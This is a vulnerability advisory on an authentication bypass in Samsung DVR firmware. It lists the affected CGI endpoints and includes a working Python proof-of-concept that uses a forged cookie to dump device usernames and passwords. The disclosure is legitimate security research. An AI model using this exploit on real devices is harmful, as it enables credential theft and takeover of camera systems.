Samsung DVR Authentication Bypass

2013.08.21
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

************************************************************** Title: Samsung DVR authentication bypass Version affected: firmware version <= 1.10 Vendor: Samsung - www.samsung-security.com Discovered by: Andrea Fabrizi Email: andrea.fabrizi@gmail.com Web: http://www.andreafabrizi.it Twitter: @andreaf83 Status: unpatched ************************************************************** Samsung provides a wide range of DVR products, all working with nearly the same firmware. The firmware it's a Linux embedded system that expose a web interface through the lighttpd webserver and CGI pages. The authenticated session is tracked using two cookies, called DATA1 and DATA2, containing respectively the base64 encoded username and password. So, the first advise for the developers is to don't put the user credentials into the cookies! Anyway, the critical vulnerability is that in most of the CGI, the session check is made in a wrong way, that allows to access protected pages simply putting an arbitrary cookie into the HTTP request. Yes, that's all. This vulnerability allows remote unauthenticated users to: - Get/set/delete username/password of local users (/cgi-bin/setup_user) - Get/set DVR/Camera general configuration - Get info about the device/storage - Get/set the NTP server - Get/set many other settings Vulnerables CGIs: - /cgi-bin/camera_privacy_area - /cgi-bin/dev_camera - /cgi-bin/dev_devinfo - /cgi-bin/dev_devinfo2 - /cgi-bin/dev_hddalarm - /cgi-bin/dev_modechange - /cgi-bin/dev_monitor - /cgi-bin/dev_pos - /cgi-bin/dev_ptz - /cgi-bin/dev_remote - /cgi-bin/dev_spotout - /cgi-bin/event_alarmsched - /cgi-bin/event_motion_area - /cgi-bin/event_motiondetect - /cgi-bin/event_sensordetect - /cgi-bin/event_tamper - /cgi-bin/event_vldetect - /cgi-bin/net_callback - /cgi-bin/net_connmode - /cgi-bin/net_ddns - /cgi-bin/net_event - /cgi-bin/net_group - /cgi-bin/net_imagetrans - /cgi-bin/net_recipient - /cgi-bin/net_server - /cgi-bin/net_snmp - /cgi-bin/net_transprotocol - /cgi-bin/net_user - /cgi-bin/rec_event - /cgi-bin/rec_eventrecduration - /cgi-bin/rec_normal - /cgi-bin/rec_recopt - /cgi-bin/rec_recsched - /cgi-bin/restart_page - /cgi-bin/setup_admin_setup - /cgi-bin/setup_datetimelang - /cgi-bin/setup_group - /cgi-bin/setup_holiday - /cgi-bin/setup_ntp - /cgi-bin/setup_systeminfo - /cgi-bin/setup_user - /cgi-bin/setup_userpwd - /cgi-bin/webviewer PoC exploit to list device users and password: http://www.andreafabrizi.it/download.php?file=samsung_dvr.py #!/usr/bin/env python # #************************************************************** #Title: Samsung DVR authentication bypass #Version affected: firmware version <= 1.10 #Vendor: Samsung - www.samsung-security.com #Discovered by: Andrea Fabrizi #Email: andrea.fabrizi@gmail.com #Web: http://www.andreafabrizi.it #Twitter: @andreaf83 #Status: unpatched #************************************************************** import urllib2 import re import sys if __name__ == "__main__": if len(sys.argv) != 2: print "usage: %s [TARGET]" % sys.argv[0] sys.exit(1) ip = sys.argv[1] headers = {"Cookie" : "DATA1=YWFhYWFhYWFhYQ==" } print "SAMSUNG DVR Authentication Bypass" print "Vulnerability and exploit by Andrea Fabrizi <andrea.fabrizi@gmail.com>\n" print "Target => %s\n" % ip #Dumping users print "##### DUMPING USERS ####" req = urllib2.Request("http://%s/cgi-bin/setup_user" % ip, None, headers) response = urllib2.urlopen(req) user_found = False for line in response.readlines(): exp = re.search(".*<input type=\'hidden\' name=\'nameUser_Name_[0-9]*\' value=\'(.*)\'.*", line) if exp: print exp.group(1), exp = re.search(".*<input type=\'hidden\' name=\'nameUser_Pw_[0-9]*\' value=\'(.*)\'.*", line) if exp: print ": " + exp.group(1) user_found = True exp = re.search(".*<input type=hidden name=\'admin_id\' value=\'(.*)\'.*", line) if exp: print "Admin ID => %s" % exp.group(1) if not user_found: print "No user found."

References:

http://www.andreafabrizi.it


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